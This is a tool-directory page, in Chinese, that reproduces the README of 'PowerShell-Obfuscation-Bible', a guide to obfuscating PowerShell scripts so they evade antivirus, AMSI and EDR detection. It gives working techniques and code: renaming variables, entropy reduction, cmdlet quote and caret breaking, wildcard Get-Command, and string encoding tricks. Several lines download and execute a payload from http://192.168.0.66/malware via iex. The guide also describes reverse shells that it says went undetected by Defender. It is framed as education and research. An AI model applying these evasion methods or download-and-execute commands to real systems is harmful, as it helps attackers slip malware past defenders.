Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
PowerShell-Obfuscation-Bible — 用于手动混淆 PowerShell 脚本以实现 AV 规避的技术、示例及少量理论集合,仅供教育目的编译。本仓库内容为个人研究成果,包括在线阅读资料以及在实验室和渗透测试中进行反复试验的尝试。 | Kitploit
工具/GitHubGitHub/t3l3machus/powershell-obfuscation-bible
IDS/IPS规避渗透测试学习与教育红队精选资源Payload 开发
GitHubt3l3machus/powershell-obfuscation-bible

PowerShell-Obfuscation-Bible

用于手动混淆 PowerShell 脚本以实现 AV 规避的技术、示例及少量理论集合,仅供教育目的编译。本仓库内容为个人研究成果,包括在线阅读资料以及在实验室和渗透测试中进行反复试验的尝试。

查看仓库
1.2k13952年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

PowerShell 混淆圣经

Python License

这是一系列用于手动混淆 PowerShell 脚本以绕过基于签名的检测的技术、示例和一些理论,汇编用于教育目的。本仓库的内容是个人研究的结果,包括阅读在线材料和在进行实验室和渗透测试中的反复试验。你不应想当然地认为所有内容都一定正确。

YouTube 视频演示:youtube.com/watch?v=tGFdmAh_lXE

⚠️ 免责声明:使用本仓库中描述的技术和概念来未经授权访问你无权测试的系统是违法的。你需对自己的行为负责。不要作恶。

目录

  1. 熵
  2. 识别检测触发点
  3. 重命名对象
  4. 混淆布尔值
  5. Cmdlet 引号中断
  6. Cmdlet 插入符中断
  7. Get-Command 技术
  8. 替代循环
  9. 替代命令
  10. 处理字符串
  11. 附加垃圾内容
  12. 添加或删除注释
随机化字符大小写
  • 重新排列脚本组件
  • 逐行执行脚本
  • 熵

    科学术语 entropy(熵)通常被定义为系统随机性或无序性的度量,它在 AV 规避中非常重要。这是因为恶意软件通常包含高度随机化、加密和/或编码(混淆)的代码,使其难以分析,从而难以检测。作为多种方法之一,杀毒软件会使用熵分析来识别潜在的恶意文件和载荷。

    理解这一概念很重要,因为在混淆代码时,你应当留意所选改动造成的熵变化。破坏签名很容易,但如果不注意熵水平,高级的 AV/EDR 会看穿它。

    需要记住的一个原则:熵越大,数据被混淆或加密的可能性就越大,文件/载荷是恶意的可能性也越大。幸运的是,有一些方法可以降低它。

    Claude E. Shannon 在他 1948 年的论文 A Mathematical Theory of Communication 中引入了一个公式,可用于测量一组数据的熵。下面是一个简单的 Shannon Entropy Python 实现,你可以用来测量自己开发的载荷的熵:

    root@kitploit:~
    #!/bin/python3
    # Usage: python3 entropy.py <file>
    
    import math, sys
    
    def entropy(string):
        "Calculates the Shannon entropy of a UTF-8 encoded string"
    
        # decode the string as UTF-8
        unicode_string = string.decode('utf-8')
    
        # get probability of chars in string
        prob = [ float(unicode_string.count(c)) / len(unicode_string) for c in dict.fromkeys(list(unicode_string)) ]
    
        # calculate the entropy
        entropy = - sum([ p * math.log(p) / math.log(2.0) for p in prob ])
    
        return entropy
    
    
    f = open(sys.argv[1], 'rb')
    content = f.read()
    f.close()
    
    print(entropy(content))
    

    你也可以使用这个在线 Shannon Entropy 计算器,或微软的 Sigcheck.exe(带 -a 选项)。

    识别检测触发点

    在开始反复试验的混淆测试以生成不被标记的载荷变体之前,成熟且优雅的做法是识别脚本中触发恶意软件检测的部分。尤其是在像 C2 命令这样的短脚本中,你也许只需做一些不起眼的改动就能立刻逃过检测。

    识别此类触发点的绝佳工具是 AMSITrigger。下面是一个包含恶意脚本文件的使用示例。红色区域表示应进行混淆的部分:

    image

    你也可以通过逐块执行脚本来手动识别触发点。

    重命名对象

    在混淆脚本时,应该优先用随机名称替换变量/类/函数名称。这样,结合其他技术,你将能够轻松绕过检测。但你应该记住所开发载荷的熵。请看下面这个标准的反向 shell 脚本,它通常会被大多数(即使不是所有)AV 检测到:

    image

    现在看看下面这个经过混淆的版本:

    image

    在这个版本中,所有变量名都被替换成了 32 个字符长的随机名称。我还把 (pwd).Path 替换成了 $(gl)。该载荷的 Shannon entropy 为 4.96。在撰写本文时,MS Defender 和许多其他产品都未检测到它:

    image

    现在看看这个版本:

    image

    这个变体同样替换了所有变量名,但这次使用由 x 个 'f' 字符组成的名称,导致载荷的熵显著下降。我也在这里把 (pwd).Path 替换成了 $(gl)。同样,在撰写本文时,MS Defender 未检测到它。该载荷的 Shannon entropy 为 0.76。

    image

    ⚡ 这两个变体都能绕过常见的 AV,但第二个变体具有更低的熵,在被 EDR 和其他高级反恶意软件引擎处理时可能会有更好的机会。⚠️ 我并不是说在这个示例中第二个载荷变体表现更好一定是因为熵水平(我确实无法知道,也可能是因为长度,或两者兼而有之,或谁知道呢),但这是混淆东西时需要牢记的一个重要方面,而这个示例正是为了强调这一概念。

    你可以使用下面的脚本来随机化 PowerShell 脚本中的变量名。⚠️ 该脚本并不完美!如果你对大型、复杂的 PowerShell 脚本运行它,它可能会替换掉本不该替换的内容,从而破坏其功能。请谨慎使用并保持注意。

    root@kitploit:~
    #!/bin/python3
    #
    # This script is an example. It is not perfect and you should use it with caution.
    # Source: https://github.com/t3l3machus/PowerShell-Obfuscation-Bible
    # Usage: python3 randomize-variables.py <path/to/powershell/script>
    
    import re
    from sys import argv
    from uuid import uuid4
    
    def get_file_content(path):
    	f = open(path, 'r')
    	content = f.read()
    	f.close()
    	return content
    	
    
    def main():
    
    	payload = get_file_content(argv[1])
    	used_var_names = []
    
    	# Identify variables definitions in script
    	variable_definitions = re.findall('\$[a-zA-Z0-9_]*[\ ]{0,}=', payload)
    	variable_definitions.sort(key=len)
    	variable_definitions.reverse()
    
    	# Replace variable names
    	for var in variable_definitions:
    		
    		var = var.strip("\n \r\t=")
    
    		while True:
    			
    			new_var_name = uuid4().hex
    			
    			if (new_var_name in used_var_names) or (re.search(new_var_name, payload)):
    				continue
    				
    			else:
    				used_var_names.append(new_var_name)
    				break	
    						
    		payload = payload.replace(var, f'${new_var_name}')
    	
    	print(payload + '\n')
    
    	
    main()
    

    混淆布尔值

    用其他布尔等价形式替换 $True 和 $False 值非常有趣且简单,而且这些等价形式几乎是无限的。特别是如果你已经识别出某个载荷中的检测触发点,且其中包含 $True 或 $False 值,那么只需用布尔替身替换它,你可能就能绕过检测。下面的所有示例都会计算为 True。你只需在表达式前添加一个感叹号就可以将其反转为 False(例如 ![bool]0x01):

    • 对任何不是 0、Null 或 空字符串 的内容进行布尔类型转换,将返回 True:
    root@kitploit:~
    [bool]1254
    [bool]0x12AE
    [bool][convert]::ToInt32("111011", 2) # Converts a string to int from base 2 (binary)
    ![bool]$null
    ![bool]$False
    [bool]"Any non empty string"
    [bool](https://github.com/t3l3machus/powershell-obfuscation-bible/blob/main/-12354893)   # Boolean typecast of a negative number 
    [bool](12 + (3 * 6))
    [bool](Get-ChildItem -Path Env: | Where-Object {$_.Name -eq "username"})
    [bool]@(0x01BE)
    [bool][System.Collections.ArrayList]
    [bool][System.Collections.CaseInsensitiveComparer]
    [bool][System.Collections.Hashtable]
    
    # Well, you get the point.
    
    • 对任何类进行布尔类型转换也会返回 True:
    root@kitploit:~
    [bool][bool]
    [bool][char]
    [bool][int] 
    [bool][string]
    [bool][double]
    [bool][short]
    [bool][decimal]
    [bool][byte]
    [bool][timespan]
    [bool][datetime]
    
    • 计算结果为 True 的比较(废话):
    root@kitploit:~
    (9999 -eq 9999)
    ([math]::Round([math]::PI) -eq (4583 - 4580))
    [Math]::E -ne [Math]::PI
    
    • 或者你可以直接从对象的属性中取出一个 True 值:
    root@kitploit:~
    $x = [System.Data.AcceptRejectRule].Assembly.GlobalAssemblyCache
    $x = [System.TimeZoneInfo+AdjustmentRule].IsAnsiClass
    $x = [mailaddress].IsAutoLayout
    $x = [ValidateCount].IsVisible
    
    • 你可以通过组合各种丑陋的方式来表达 True 或 False,从而把这些东西混在一起:
    root@kitploit:~
    [bool](https://github.com/t3l3machus/powershell-obfuscation-bible/blob/main/%21%5Bbool%5D%24null)
    [System.Collections.CaseInsensitiveComparer] -ne [bool][datetime]'2023-01-01'
    [bool]$(Get-LocalGroupMember Administrators)
    !!!![bool][bool][bool][bool][bool][bool]
    

    Cmdlet 引号中断

    你可以通过在 cmdlet 的字符之间添加单引号和/或双引号来混淆 cmdlet,只要不是在开头。这非常有效!例如,表达式 iex "pwd" 可以替换为:

    root@kitploit:~
    i''ex "pwd"
    i''e''x "pwd"
    i''e''x'' "pwd"
    ie''x'' "pwd"
    iex'' "pwd"
    i""e''x"" "pwd"
    ie""x'' "pwd"
    
    # and so on... but also:
    
    i''ex "p''wd"
    i''e''x "p''w''d"
    i''e''x'' "p''w''d''"
    ie''x'' "pw''d`"`""
    iex'' "p`"`"w`"`"d`"`""
    i""e''x"" "p`"`"w`"`"d''"
    ie""x'' "p`"`"w''d`"`""
    
    # You get the point.
    

    Cmdlet 插入符中断

    这有点脏,但可能会派上用场。在 Windows CMD 终端中,可以在命令字符之间插入插入符(^)符号,命令仍会被正常解释。在 PowerShell 脚本中,利用这一点的一种方式是:

    root@kitploit:~
    cmd /c "who^am^i"
    

    Untistled

    Get-Command 技术

    我的好友、强力黑客 Karol Musolff(@kmusolff)展示给我的一个很酷的技巧。你可以使用 Get-Command(或 gcm)配合通配符来检索任何命令的名称(字符串),包括 Path 环境变量($env:Path)中的所有非 PowerShell 文件。然后你可以使用 & 运算符将它们作为作业运行。例如,下面这一行:

    root@kitploit:~
    Invoke-RestMethod -uri https://192.168.0.66/malware | iex
    

    可以被混淆为:

    root@kitploit:~
    &(Get-Command i????e-rest*) -uri https://192.168.0.66/malware | &(gcm i*x)
    

    或者更好的是这个,它具有更低的 Shannon entropy 值:

    root@kitploit:~
    &(Get-Command i************************************************************e-rest*) -uri https://192.168.0.66/malware | &(gcm i*x)
    

    替代循环

    某些循环可以用其他循环类型或函数替代。例如,While ($True){ # some code } 循环可以替换为以下形式:
    一个无限 For 循环

    root@kitploit:~
    For (;;) { # some code }
    

    一个 Do-While 循环

    root@kitploit:~
    Do { # some code } While ($true)
    

    一个 Do-Until 循环

    root@kitploit:~
    Do { # some code } Until (1 -eq 2)
    

    一个递归函数

    root@kitploit:~
    function runToInfinity { 
     # do something;  
     runToInfinity;
    }
    

    附加垃圾内容

    添加/删除参数

    你可以尝试向 cmdlet 添加参数。例如,下面这一行:

    root@kitploit:~
    iex "whoami"
    

    可以扩展为:

    root@kitploit:~
    iex -Debug -Verbose -ErrorVariable $e -InformationAction Ignore -WarningAction Inquire "whoami"
    

    当然,你也可以尝试相反的做法。

    附加随机对象

    你可以用随机变量和函数“污染”脚本。假设以下脚本是恶意的:

    root@kitploit:~
    $b64 = $(irm -uri http://192.168.0.66/malware); 
    $virus = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($b64));
    iex $virus;
    

    你也许可以通过做类似的事情来破坏其签名:

    root@kitploit:~
    $b64 = $(irm -uri http://192.168.0.66/malware); sleep 0.01;sleep 0.01;Get-Process | Out-Null;
    $virus = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($b64));sleep 0.01;sleep 0.01;Measure-Object | Out-Null;
    iex $virus;
    

    替代命令

    你总是可以在脚本中寻找可以使用具有相同/相似功能的组件来替代的命令甚至整个代码块。在下面这个经典的反向 shell 脚本中,pwd 命令用于获取当前工作目录并重建 shell 的提示符值:
    image

    (pwd).Path 部分可以被下面这个奇怪、非正统的小脚本替换;虽然它甚至包含 pwd,但它确实能达到我们的目的:在保持脚本功能的同时破坏签名:

    root@kitploit:~
    "$($p = (Split-Path `"$(pwd)\\0x00\`");if ($p.trim() -eq ''){echo 'C:\'}else{echo $p})"
    

    当然,还有一些更简单的 pwd 替代品,如 gl、get-location 和 cmd.exe /c chdir,也可以起作用,尤其是与其他技术结合使用时。

    处理字符串

    字符串的可玩之处无穷无尽。下面是一些有趣的概念。示例使用字符串 'malware':

    将字符串转换为 here-string

    以增加几行新行为代价,你可以将字符串转换为 here-string。
    这个:

    root@kitploit:~
    $x = 'echo malware';
    iex $x;
    

    与以下相同:

    root@kitploit:~
    $x = 'echo malware';
    iex @"
    $x
    "@
    

    反转字符串

    root@kitploit:~
    $x="Your string reversed".ToCharArray(); [array]::reverse($x); $x -join ""
    

    拼接

    非常简单直接且经典:

    root@kitploit:~
    'mal' + 'w' + 'ar' + 'e'
    

    从子字符串中获取字符串:

    将所需值放在一个无关字符串中间,然后使用 substring() 根据起始-结束索引提取它:

    root@kitploit:~
    'xxxmalwarexxx'.Substring(3,7)
    

    通过正则匹配替换字符串:

    创建一个垃圾字符串,并通过正则匹配将其替换为所需值:

    root@kitploit:~
    'a123' -replace '[a-zA-Z]{1}[\d]{1,3}','malware'
    

    Base64 解码所需字符串:

    在脚本中对你所需要的字符串进行编码并解码:

    root@kitploit:~
    [System.Text.Encoding]:https://raw.githubusercontent.com/t3l3machus/powershell-obfuscation-bible/main/:Default.GetString(%5BSystem.Convert%5D::FromBase64String(%22bWFsd2FyZQ==%22))
    

    从字节中获取所需字符串的字符:

    root@kitploit:~
    "$([char](https://github.com/t3l3machus/powershell-obfuscation-bible/blob/main/%5Bbyte%5D0x6d)+[char](https://github.com/t3l3machus/powershell-obfuscation-bible/blob/main/%5Bbyte%5D0x61)+[char](https://github.com/t3l3machus/powershell-obfuscation-bible/blob/main/%5Bbyte%5D0x6c)+[char](https://github.com/t3l3machus/powershell-obfuscation-bible/blob/main/%5Bbyte%5D0x77)+[char](https://github.com/t3l3machus/powershell-obfuscation-bible/blob/main/%5Bbyte%5D0x61)+[char](https://github.com/t3l3machus/powershell-obfuscation-bible/blob/main/%5Bbyte%5D0x72)+[char](https://github.com/t3l3machus/powershell-obfuscation-bible/blob/main/%5Bbyte%5D0x65))"
    

    这只是为了让你入门。未完待续……

    添加或删除注释

    追加注释

    通过在脚本各处追加注释来混淆脚本,可能实际上光靠这一招就能奏效。
    例如,一条反向 shell 命令可以这样混淆:

    原始(容易被 AV 检测到的常见 r-shell 命令)

    image

    修改后(在多个位置追加了 <# Suspendisse imperdiet lacus eu tellus pellentesque suscipit #>)

    image

    这不仅会奏效,还会降低载荷的 Shannon entropy 值(前提是你不要使用复杂的随机注释)。

    删除注释

    有些类似恶意软件的字符串会立即触发 AMSI,在混淆脚本时,应该优先替换它们。看看这个:
    image

    只需在终端中输入字符串 'invoke-mimikatz',AMSI 就会发作(脚本甚至还没有存在/加载)。这些字符串也可能出现在注释中,因此最好删除它们,尤其是从你在网上获取的 FOS 资源中(例如来自 GitHub 的 Invoke-Mimikatz.ps1)。

    *删除注释通常是个好主意。这只是一个例子。

    随机化字符大小写

    可能是书中最古老的把戏。随机化 cmdlet 和参数的大小写可能会有帮助:

    root@kitploit:~
    inVOkE-eXpReSSioN -vErbOse "WHoAmI /aLL" -dEBug
    

    重新排列脚本组件

    有时只需将变量和类移动到不同位置就可能奏效,尤其是当你已经找到检测触发点,并且它包含某个本可以在其他地方(比如脚本开头)进行的变量定义时。

    逐行执行脚本

    有时,仅通过逐行执行恶意脚本就能实现 AV 规避。当然,在具体情况下,这可能是具有挑战性的。如果你尝试这样做,请注意那些必须作为一个整体执行的脚本块(例如,循环、try-catch 块、条件语句、函数定义等)。要测试这一点,你可以拿一个常见的 PowerShell 反向 shell 脚本(未应用混淆)并逐行执行。它会被标记吗?;)

    下载工具